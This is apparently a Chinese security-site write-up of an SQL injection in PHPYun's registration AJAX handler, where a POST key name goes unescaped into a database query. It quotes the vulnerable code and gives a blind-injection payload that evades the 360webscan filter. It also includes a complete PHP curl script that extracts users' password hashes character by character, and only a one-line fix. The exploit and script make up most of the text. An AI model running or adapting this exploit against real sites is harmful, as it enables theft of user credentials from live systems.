可以引入单引号, 但是在这里也不需要引入单引号。 虽然有360 但是还是能注入出密码。 写了个小脚本来跑。(代码很渣 速度很慢 但是还是能跑完整) - - 特么的完全不会写, 太渣了。 在model/register.class.php中。
function ajax_reg_action(){ $post = array_keys($_POST); $key_name = $post[0]; if($key_name=="username"){ $username=@iconv("utf-8","gbk",$_POST['username']); if($this->config['sy_uc_type']=="uc_center"){ $this->obj->uc_open(); $user = uc_get_user($username); }else{ $user = $this->obj->DB_select_once("member","`username`='".$username."'"); } if($this->config['sy_regname']!=""){ $regname=@explode(",",$this->config['sy_regname']); if(in_array($username,$regname)){ echo 2;die; } } }else{ $user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'"); } if(is_array($user)){echo 1;}else{echo 0;} 首先在这里$post = array_keys($_POST); 获取了POST来的key 。$key_name = $post[0]; 然后$key_name从数组里面取了第一个。 都知道phpyun的全局过滤会把单引号过滤的, 但是那是针对value 在这里是key 所以完全可以引入单引号。 但是在这里并不需要引入单引号。。 继续看。 if($key_name=="username"){ $username=@iconv("utf-8","gbk",$_POST['username']); if($this->config['sy_uc_type']=="uc_center"){ $this->obj->uc_open(); $user = uc_get_user($username); }else{ 可以 如果$key_name != username就进入else 继续看。 $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'"); 然后就直接带入到了查询当中,而且是做的key。 这里执行的语句为 SELECT * FROM phpyun_member WHERE `xx`='asd' 这里xx 和 asd都是可控的 这里asd那里肯定是不能利用的 因为在value 单引号会被转义的。 这里来控制key 这里构造一下。 因为key中不能含有空格 所以空格就用+号来替换一下。 这里来构造一下key username`or%2Bif(ascii(substr(password,$yu,1))=$i,1,0)#=asd 有360webscan 但是这语句可以通过360webscan的。 可是在这里 key中也不能含有=号 会被替换`= 这简单 把=号换成<> username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd 在这里如何查询出来的和$i想等 那么就会输出0 其他情况就会输出1. 这里写个小脚本。 P.S. 没学过语言。。 完全都是瞎写的, 刚好之前写的74cms那个和现在这个差不多。 直接用那个改一下就可以了 <?php $host=$argv[1]; $yu=1; for($i=0;$i<120;$i++){ $lenth=strlen($result); if ($lenth==32){ echo "\r\n"; echo "Ok The password is:$result"; exit; }; $content="username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd"; $url = $host.'/index.php?m=register&c=ajax_reg';//接收XML地址 $header = "Content-type: text/xml"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $content); $response = curl_exec($ch); if(curl_errno($ch)){ print curl_error($ch); } curl_close($ch); if(eregi('0',$response)){ echo chr($i); $result.=chr($i); $lenth=strlen($result); $yu=++$yu; $i=0; } } ?>
脚本跑出来的 和数据库中的用户密码一样。 - - 就是脚本太渣了, 速度比较慢。 修复方案:限制一下key。 |
-
上一篇: 春秋航空某分站越权修改任意用户信息 - 网站安
下一篇: ThinkSAAS 2.2 存储型XSS(绕过防护机制) - 网站安全
还没有人抢沙发呢~